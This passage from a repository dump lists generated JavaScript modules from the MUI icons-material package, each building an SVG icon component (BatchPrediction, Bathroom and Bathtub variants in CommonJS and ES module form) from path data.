    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 8H7c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V10c0-1.1-.9-2-2-2m-5 12.5c-.55 0-1-.45-1-1V19h2v.5c0 .55-.45 1-1 1m1-2.5h-2c0-1.5-2.5-3-2.5-5 0-1.93 1.57-3.5 3.5-3.5s3.5 1.57 3.5 3.5c0 2-2.5 3.5-2.5 5m5-11.5H6C6 5.67 6.67 5 7.5 5h9c.83 0 1.5.67 1.5 1.5m-1-3H7C7 2.67 7.67 2 8.5 2h7c.83 0 1.5.67 1.5 1.5\"\n}), 'BatchPredictionRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatchPredictionSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 8H5v14h14zm-6 12.5h-2V19h2zm0-2.5h-2c0-1.5-2.5-3-2.5-5 0-1.93 1.57-3.5 3.5-3.5s3.5 1.57 3.5 3.5c0 2-2.5 3.5-2.5 5m5-11.5H6V5h12zm-1-3H7V2h10z\"\n}), 'BatchPredictionSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatchPredictionSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 8H5v14h14zm-6 12.5h-2V19h2zm0-2.5h-2c0-1.5-2.5-3-2.5-5 0-1.93 1.57-3.5 3.5-3.5s3.5 1.57 3.5 3.5c0 2-2.5 3.5-2.5 5m5-11.5H6V5h12zm-1-3H7V2h10z\"\n}), 'BatchPredictionSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatchPredictionTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 20.5h-2V19h2zm0-2.5h-2c0-1.5-2.5-3-2.5-5 0-1.93 1.57-3.5 3.5-3.5s3.5 1.57 3.5 3.5c0 2-2.5 3.5-2.5 5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 8H7c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V10c0-1.1-.9-2-2-2m-4 12.5h-2V19h2zm0-2.5h-2c0-1.5-2.5-3-2.5-5 0-1.93 1.57-3.5 3.5-3.5s3.5 1.57 3.5 3.5c0 2-2.5 3.5-2.5 5m5-11.5H6C6 5.67 6.67 5 7.5 5h9c.83 0 1.5.67 1.5 1.5m-1-3H7C7 2.67 7.67 2 8.5 2h7c.83 0 1.5.67 1.5 1.5\"\n}, \"1\")], 'BatchPredictionTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatchPredictionTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 20.5h-2V19h2zm0-2.5h-2c0-1.5-2.5-3-2.5-5 0-1.93 1.57-3.5 3.5-3.5s3.5 1.57 3.5 3.5c0 2-2.5 3.5-2.5 5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 8H7c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V10c0-1.1-.9-2-2-2m-4 12.5h-2V19h2zm0-2.5h-2c0-1.5-2.5-3-2.5-5 0-1.93 1.57-3.5 3.5-3.5s3.5 1.57 3.5 3.5c0 2-2.5 3.5-2.5 5m5-11.5H6C6 5.67 6.67 5 7.5 5h9c.83 0 1.5.67 1.5 1.5m-1-3H7C7 2.67 7.67 2 8.5 2h7c.83 0 1.5.67 1.5 1.5\"\n}, \"1\")], 'BatchPredictionTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Bathroom.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M9 18c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m3 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m3 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m2-3H7v-1c0-2.76 2.24-5 5-5s5 2.24 5 5z\"\n}), 'Bathroom');"
  },
  {
    "path": "packages/mui-icons-material/lib/Bathroom.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M9 18c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m3 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m3 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m2-3H7v-1c0-2.76 2.24-5 5-5s5 2.24 5 5z\"\n}), 'Bathroom');"
  },
  {
    "path": "packages/mui-icons-material/lib/BathroomOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 14c0-.55.45-1 1-1s1 .45 1 1-.45 1-1 1-1-.45-1-1m4 1c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m3 0c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m-3-7.5c-1.76 0-3.22 1.31-3.46 3h6.93c-.25-1.69-1.71-3-3.47-3M12 6c2.76 0 5 2.24 5 5v1H7v-1c0-2.76 2.24-5 5-5M9 18c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m3 0c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m3 0c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m5-14H4v16h16zm0-2c1.1 0 2 .9 2 2v16c0 1.1-.9 2-2 2H4c-1.1 0-2-.9-2-2V4c0-1.1.9-2 2-2z\"\n}), 'BathroomOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BathroomOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 14c0-.55.45-1 1-1s1 .45 1 1-.45 1-1 1-1-.45-1-1m4 1c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m3 0c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m-3-7.5c-1.76 0-3.22 1.31-3.46 3h6.93c-.25-1.69-1.71-3-3.47-3M12 6c2.76 0 5 2.24 5 5v1H7v-1c0-2.76 2.24-5 5-5M9 18c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m3 0c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m3 0c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m5-14H4v16h16zm0-2c1.1 0 2 .9 2 2v16c0 1.1-.9 2-2 2H4c-1.1 0-2-.9-2-2V4c0-1.1.9-2 2-2z\"\n}), 'BathroomOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BathroomRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M9 18c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m3 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m3 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m-8-4c0-2.76 2.24-5 5-5s5 2.24 5 5c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1\"\n}), 'BathroomRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BathroomRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M9 18c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m3 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m3 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m-8-4c0-2.76 2.24-5 5-5s5 2.24 5 5c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1\"\n}), 'BathroomRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BathroomSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 2H2v20h20zM9 18c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m3 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m3 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m2-3H7v-1c0-2.76 2.24-5 5-5s5 2.24 5 5z\"\n}), 'BathroomSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BathroomSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 2H2v20h20zM9 18c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m3 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m3 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m2-3H7v-1c0-2.76 2.24-5 5-5s5 2.24 5 5z\"\n}), 'BathroomSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BathroomTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 20h16V4H4zm5-2c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m3 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m3 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m-8-4c0-2.76 2.24-5 5-5s5 2.24 5 5v1H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"14\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"14\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"17\",\n  r: \"1\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 18H4V4h16z\"\n}, \"4\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 11c0-2.76-2.24-5-5-5s-5 2.24-5 5v1h10zm-8.46-.5c.24-1.69 1.7-3 3.46-3s3.22 1.31 3.47 3z\"\n}, \"5\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"17\",\n  r: \"1\"\n}, \"6\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"14\",\n  r: \"1\"\n}, \"7\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"17\",\n  r: \"1\"\n}, \"8\")], 'BathroomTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BathroomTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 20h16V4H4zm5-2c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m3 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m3 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m-8-4c0-2.76 2.24-5 5-5s5 2.24 5 5v1H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"14\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"14\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"17\",\n  r: \"1\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 18H4V4h16z\"\n}, \"4\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 11c0-2.76-2.24-5-5-5s-5 2.24-5 5v1h10zm-8.46-.5c.24-1.69 1.7-3 3.46-3s3.22 1.31 3.47 3z\"\n}, \"5\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"17\",\n  r: \"1\"\n}, \"6\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"14\",\n  r: \"1\"\n}, \"7\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"17\",\n  r: \"1\"\n}, \"8\")], 'BathroomTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Bathtub.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"7\",\n  cy: \"7\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 13V4.83C20 3.27 18.73 2 17.17 2c-.75 0-1.47.3-2 .83l-1.25 1.25c-.16-.05-.33-.08-.51-.08-.4 0-.77.12-1.08.32l2.76 2.76c.2-.31.32-.68.32-1.08 0-.18-.03-.34-.07-.51l1.25-1.25c.15-.15.36-.24.58-.24.46 0 .83.37.83.83V13h-6.85c-.3-.21-.57-.45-.82-.72l-1.4-1.55c-.19-.21-.43-.38-.69-.5-.31-.15-.65-.23-1-.23C6 10.01 5 11.01 5 12.25V13H2v6c0 1.1.9 2 2 2 0 .55.45 1 1 1h14c.55 0 1-.45 1-1 1.1 0 2-.9 2-2v-6z\"\n}, \"1\")], 'Bathtub');"
  },
  {
    "path": "packages/mui-icons-material/lib/Bathtub.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"7\",\n  cy: \"7\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 13V4.83C20 3.27 18.73 2 17.17 2c-.75 0-1.47.3-2 .83l-1.25 1.25c-.16-.05-.33-.08-.51-.08-.4 0-.77.12-1.08.32l2.76 2.76c.2-.31.32-.68.32-1.08 0-.18-.03-.34-.07-.51l1.25-1.25c.15-.15.36-.24.58-.24.46 0 .83.37.83.83V13h-6.85c-.3-.21-.57-.45-.82-.72l-1.4-1.55c-.19-.21-.43-.38-.69-.5-.31-.15-.65-.23-1-.23C6 10.01 5 11.01 5 12.25V13H2v6c0 1.1.9 2 2 2 0 .55.45 1 1 1h14c.55 0 1-.45 1-1 1.1 0 2-.9 2-2v-6z\"\n}, \"1\")], 'Bathtub');"
  },
  {
    "path": "packages/mui-icons-material/lib/BathtubOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"7\",\n  cy: \"7\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 13V4.83C20 3.27 18.73 2 17.17 2c-.75 0-1.47.3-2 .83l-1.25 1.25c-.16-.05-.33-.08-.51-.08-.4 0-.77.12-1.08.32l2.76 2.76c.2-.31.32-.68.32-1.08 0-.18-.03-.34-.07-.51l1.25-1.25c.15-.15.36-.24.58-.24.46 0 .83.37.83.83V13h-6.85c-.3-.21-.57-.45-.82-.72l-1.4-1.55c-.19-.21-.43-.38-.69-.5-.31-.15-.65-.23-1-.23C6 10.01 5 11.01 5 12.25V13H2v6c0 1.1.9 2 2 2 0 .55.45 1 1 1h14c.55 0 1-.45 1-1 1.1 0 2-.9 2-2v-6zm0 6H4v-4h16z\"\n}, \"1\")], 'BathtubOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BathtubOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"7\",\n  cy: \"7\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 13V4.83C20 3.27 18.73 2 17.17 2c-.75 0-1.47.3-2 .83l-1.25 1.25c-.16-.05-.33-.08-.51-.08-.4 0-.77.12-1.08.32l2.76 2.76c.2-.31.32-.68.32-1.08 0-.18-.03-.34-.07-.51l1.25-1.25c.15-.15.36-.24.58-.24.46 0 .83.37.83.83V13h-6.85c-.3-.21-.57-.45-.82-.72l-1.4-1.55c-.19-.21-.43-.38-.69-.5-.31-.15-.65-.23-1-.23C6 10.01 5 11.01 5 12.25V13H2v6c0 1.1.9 2 2 2 0 .55.45 1 1 1h14c.55 0 1-.45 1-1 1.1 0 2-.9 2-2v-6zm0 6H4v-4h16z\"\n}, \"1\")], 'BathtubOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BathtubRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"7\",\n  cy: \"7\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 13h-1V4.83C20 3.27 18.73 2 17.17 2c-.75 0-1.47.3-2 .83l-1.25 1.25c-.16-.05-.33-.08-.51-.08-.4 0-.77.12-1.08.32l2.76 2.76c.2-.31.32-.68.32-1.08 0-.18-.03-.34-.07-.51l1.25-1.25c.15-.15.36-.24.58-.24.46 0 .83.37.83.83V13h-6.85c-.3-.21-.57-.45-.82-.72l-1.4-1.55c-.19-.21-.43-.38-.69-.5-.31-.15-.65-.23-1-.23C6 10.01 5 11.01 5 12.25V13H3c-.55 0-1 .45-1 1v5c0 1.1.9 2 2 2 0 .55.45 1 1 1h14c.55 0 1-.45 1-1 1.1 0 2-.9 2-2v-5c0-.55-.45-1-1-1\"\n}, \"1\")], 'BathtubRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BathtubRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"7\",\n  cy: \"7\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 13h-1V4.83C20 3.27 18.73 2 17.17 2c-.75 0-1.47.3-2 .83l-1.25 1.25c-.16-.05-.33-.08-.51-.08-.4 0-.77.12-1.08.32l2.76 2.76c.2-.31.32-.68.32-1.08 0-.18-.03-.34-.07-.51l1.25-1.25c.15-.15.36-.24.58-.24.46 0 .83.37.83.83V13h-6.85c-.3-.21-.57-.45-.82-.72l-1.4-1.55c-.19-.21-.43-.38-.69-.5-.31-.15-.65-.23-1-.23C6 10.01 5 11.01 5 12.25V13H3c-.55 0-1 .45-1 1v5c0 1.1.9 2 2 2 0 .55.45 1 1 1h14c.55 0 1-.45 1-1 1.1 0 2-.9 2-2v-5c0-.55-.45-1-1-1\"\n}, \"1\")], 'BathtubRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BathtubSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"7\",\n  cy: \"7\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 13V4.83C20 3.27 18.73 2 17.17 2c-.75 0-1.47.3-2 .83l-1.25 1.25c-.16-.05-.33-.08-.51-.08-.4 0-.77.12-1.08.32l2.76 2.76c.2-.31.32-.68.32-1.08 0-.18-.03-.34-.07-.51l1.25-1.25c.15-.15.36-.24.58-.24.46 0 .83.37.83.83V13h-6.85c-.3-.21-.57-.45-.82-.72l-1.4-1.55c-.19-.21-.43-.38-.69-.5-.31-.15-.65-.23-1-.23C6 10.01 5 11.01 5 12.25V13H2v8h2v1h16v-1h2v-8z\"\n}, \"1\")], 'BathtubSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BathtubSharp.mjs",
